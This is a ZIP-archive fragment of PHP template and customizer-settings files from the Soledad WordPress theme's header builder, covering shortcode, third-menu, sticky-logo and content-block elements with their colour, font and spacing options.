PK     N\X-    6  inc/builder/elements/pb_shortcode_mobile/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$shortcode_html  = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_mobile_name', false );
$shortcode_class = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_mobile_class' );
if ( empty( $shortcode_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-shortcodes-mobile <?php echo esc_attr( $shortcode_class ); ?>">
	<?php echo do_shortcode( $shortcode_html ); ?>
</div>
PK     N\~	    5  inc/builder/elements/pb_shortcode_mobile/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_mobile_name',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-textarea',
	
	'label'     => esc_html__( 'Shortcode Code', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_mobile_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_mobile_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;PK     N\tak_  _  0  inc/builder/elements/pb_third_menu/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$menu_id = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_name', false );
if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['main_nav_menu'] ) && $pmeta_page_header['main_nav_menu'] ) {
		$menu_id = $pmeta_page_header['main_nav_menu'];
	}
}
$classes = [];

$classes[] = 'navigation';
$classes[] = get_theme_mod( 'penci_header_menu_style', 'menu-style-1' );
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_class', 'no-class' );
$classes[] = 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_header_enable_padding', false ) ? 'menu-item-padding' : 'menu-item-normal';
$classes[] = 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_header_remove_line_hover' ) ? 'pcremove-lineh' : '';

if ( $menu_id || is_customize_preview() ) {
	?>
    <div class="pc-builder-element pc-builder-menu pc-third-menu">
        <nav class="<?php echo implode( ' ', $classes ); ?>" role="navigation"
		     <?php if ( ! penci_builder_validate_mod( $header_data, 'penci_schema_sitenav' ) ): ?>itemscope
             itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>

			<?php
			if ( $menu_id ) {
				wp_nav_menu( array(
					'menu'        => $menu_id,
					'container'   => false,
					'menu_class'  => 'menu',
					'fallback_cb' => 'penci_menu_fallback',
					'walker'      => new penci_menu_walker_nav_menu()
				) );
			}
			?>
        </nav>
    </div>
	<?php
}


PK     N\G2  2  /  inc/builder/elements/pb_third_menu/settings.phpnu [        <?php 

$third_menu_settings = 'penci_header_pb_third_menu_';
$third_menu_section  = 'penci_header_pb_third_menu_section';
$general_config      = 'penci_builder_mods';
$options             = [];
$options[]           = array(
	'id'        => $third_menu_settings . 'name',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',

	'label'           => esc_html__( 'Select Menu', 'soledad' ),
	'placeholder'     => esc_html__( 'Select an the menu', 'soledad' ),
	'choices'         => penci_builder_menu_list(),
	'description'     => sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to add new or edit your menus.', 'soledad' ), admin_url( 'nav-menus.php' ) ),
	'partial_refresh' => [
		$third_menu_settings . 'name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_header_enable_padding',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Enable Padding on Menu Item Level 1','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_header_remove_line_hover',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Hide Line When Hover on Menu Items Level 1','soledad' ),

	'description' => __( 'You can change the sub menu style via Customize > Logo & Header > Main Bar & Primary Menu > Sub Menu Style', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_font_for_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Custom Font For Third Menu Items','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_font_weight_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Third Menu Items','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		''        => '',
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_menu_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Turn Off Uppercase on Menu items','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_menu_color',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_menu_hv_color',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Hover Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_menu_active_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Active Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_menu_line_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Line Hover Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_menu_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Background Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_menu_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Hover Background Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_submenu_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Background Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_submenu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Sub Menu Items Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_submenu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Sub Menu Items Hover Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_submenu_activecl',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Items Active Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_submenu_bordercolor',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Borders Color','soledad' ),
);
$options[]           = array(
	'type'      => 'soledad-fw-color',
	'id'        => $third_menu_settings . 'penci_mega_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Category Mega Menu Background Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_mega_child_cat_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu List Child Categories Background Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_mega_post_category_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Mega Menu Post Category Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_mega_post_title_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Post Title Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_mega_post_date_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Category Mega Menu Post Date Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_mega_accent_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Accent Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_mega_border_style2',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Borders Color for Category Mega on Menu Style2','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'drop_border_style2',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Dropdown Borders on Hover for Menu Style2','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_section_slogan_heading_1',
	'sanitize'  => 'sanitize_text_field',
	'transport' => 'postMessage',
	'label'     => esc_html__( 'Menu Font Size', 'soledad' ),

	'type' => 'soledad-fw-header',
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_line_height_lv1',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Height for Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => $third_menu_settings . 'penci_line_height_lv1',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_font_size_lv1',
	'default'   => '12',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Font Size for Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => $third_menu_settings . 'penci_font_size_lv1',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_font_size_drop',
	'default'   => '12',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Dropdown Menu Items', 'soledad' ),
	'ids'       => array(
		'desktop' => $third_menu_settings . 'penci_font_size_drop',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_lv1_item_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Space Between Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => $third_menu_settings . 'penci_lv1_item_spacing',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => $third_menu_settings . 'penci_lv1_item_margin',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Margin Between Menu Items Level 1', 'soledad' ),
	'description'     => __( 'This option only applies when you enable padding for menu items level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => $third_menu_settings . 'penci_lv1_item_margin',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\N#׍3  3  1  inc/builder/elements/pb_logo_sticky/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$logo_settings = 'penci_header_pb_logo_sticky';
$logo_url      = get_theme_mod( 'penci_custom_url_logo' ) ? get_theme_mod( 'penci_custom_url_logo' ) : esc_url( home_url( '/' ) );
$logo_display  = penci_builder_validate_mod( $header_data, $logo_settings . '_logo_display', 'image' );
$logo_title    = penci_builder_validate_mod( $header_data, $logo_settings . '_site_title' );
$logo_slogan   = penci_builder_validate_mod( $header_data, $logo_settings . '_site_description' );
$logo_class    = penci_builder_validate_mod( $header_data, $logo_settings . '_class' );
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' ) ) {
	$logo_url = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' );
}
$logo_src = PENCI_SOLEDAD_URL . '/images/logo.png';
if ( get_theme_mod( 'penci_logo' ) ) {
	$logo_src = get_theme_mod( 'penci_logo' );
}
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' ) ) {
	$logo_src = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' );
}

if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['custom_logo'] ) && $pmeta_page_header['custom_logo'] ) {

		$logo_src_meta = wp_get_attachment_url( intval( $pmeta_page_header['custom_logo'] ) );
		if ( $logo_src_meta ) {
			$logo_src = $logo_src_meta;
		}
	}
}
$extra_logo_class = ' pclogo-cls';
if ( 'image' == $logo_display ):
	$data_dark_logo = '';
	$dark_logo      = get_theme_mod( 'penci_menu_logo_dark' );
	if ( $dark_logo && get_theme_mod( 'penci_dms_enable' ) ) {
		$data_dark_logo .= 'data-lightlogo="' . esc_url( $logo_src ) . '"';
		$data_dark_logo .= ' data-darklogo="' . esc_url( $dark_logo ) . '"';
	}
	?>
    <div class="pc-builder-element pc-logo-sticky pc-logo penci-header-image-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
            <img class="penci-mainlogo penci-limg<?php echo $extra_logo_class; ?>" <?php echo $data_dark_logo;?>
                 src="<?php echo esc_url( $logo_src ); ?>"
                 alt="<?php bloginfo( 'name' ); ?>"
                 width="<?php echo penci_get_image_data_basedurl( $logo_src, 'w' ); ?>"
                 height="<?php echo penci_get_image_data_basedurl( $logo_src, 'h' ); ?>">
			<?php if ( ! empty( $logo_slogan ) ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
else: ?>
    <div class="pc-builder-element pc-logo pc-logo-sticky penci-header-text-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
			<?php if ( ! empty( $logo_title ) ): ?>
                <div class="site-name"><?php echo esc_attr( $logo_title ); ?></div>
			<?php endif; ?>
			<?php if ( ! empty( $logo_slogan ) ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
endif;
PK     N\C׶"  "  0  inc/builder/elements/pb_logo_sticky/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_logo_display',
	'default'   => 'image',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-radio',
	'label'     => esc_html__( 'Display Logo as', 'soledad' ),
	'priority'  => 10,
	'choices'   => [
		'image' => esc_html__( 'Logo Image', 'soledad' ),
		'text'  => esc_html__( 'Text', 'soledad' ),
	],
	'partial_refresh' => [
		'penci_header_pb_logo_sticky_logo_display' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_sticky_image_setting_url',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-image',
	'label'       => esc_html__( 'Logo Image', 'soledad' ),
	'description' => esc_html__( 'Upload your image logo here', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_sticky_image_setting_url' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_size_logo_w',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Maxium Width for Logo Image', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_sticky_size_logo_w',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_size_logo_h',
	'default'   => '60',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Maxium Height for Logo Image', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_sticky_size_logo_h',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_image_setting_href',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	'label'     => __( 'Custom Logo Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_site_title',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Text Logo', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_site_title' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_site_description',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-textarea',
	'label'     => esc_html__( 'Slogan', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_site_title' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_font_size_logo',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Text Logo', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_sticky_font_size_logo',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Text Logo */
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_color_logo',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Text Logo','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_penci_font_for_title',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font for Text Logo','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_penci_font_weight_title',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Text Logo','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_penci_font_style_title',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Text Logo','soledad'),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
/* Slogan*/
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_font_size_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Font Size for Slogan Text', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_sticky_font_size_slogan',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_color_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Slogan Text','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_penci_font_for_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font for Slogan Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_penci_font_weight_slogan',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Slogan Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => 'Normal',
		'bold'    => 'Bold',
		'bolder'  => 'Bolder',
		'lighter' => 'Lighter',
		'100'     => '100',
		'200'     => '200',
		'300'     => '300',
		'400'     => '400',
		'500'     => '500',
		'600'     => '600',
		'700'     => '700',
		'800'     => '800',
		'900'     => '900'
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_penci_font_style_slogan',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Slogan Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => 'Normal',
		'italic' => 'Italic'
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_stickyclass',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\RKQ    /  inc/builder/elements/pb_shortcode/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$shortcode_html  = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_name', false );
$shortcode_class = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_class' );
if ( empty( $shortcode_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-shortcodes <?php echo esc_attr( $shortcode_class ); ?>">
	<?php echo do_shortcode( $shortcode_html ); ?>
</div>
PK     N\B    .  inc/builder/elements/pb_shortcode/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_name',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-textarea',
	
	'label'     => esc_html__( 'Shortcode Code', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;PK     N\    +  inc/builder/elements/pb_block/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$block = penci_builder_validate_mod( $header_data, 'penci_header_pb_block_select', false );
if ( ! empty( $block ) ) {
	?>
    <div class="penci-header-block penci-header-block-1">
		<?php
		$block_id = '';
		$block_oj = get_page_by_path( $block, OBJECT, 'penci-block' );
		if ( $block_oj ) {
			$block_id = $block_oj->ID;
		}
        if ( $block_id ) {
			if ( did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $block_id )->is_built_with_elementor() ) {
				echo penci_get_elementor_content( $block_id );
			} else {
				$block_content = get_post( $block_id );
				echo do_shortcode( $block_content->post_content );

				$shortcodes_custom_css = get_post_meta( $block_id, '_wpb_shortcodes_custom_css', true );

				echo '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					echo $shortcodes_custom_css;
				}
				echo '</style>';
			}
		} ?>
    </div>
	<?php
}
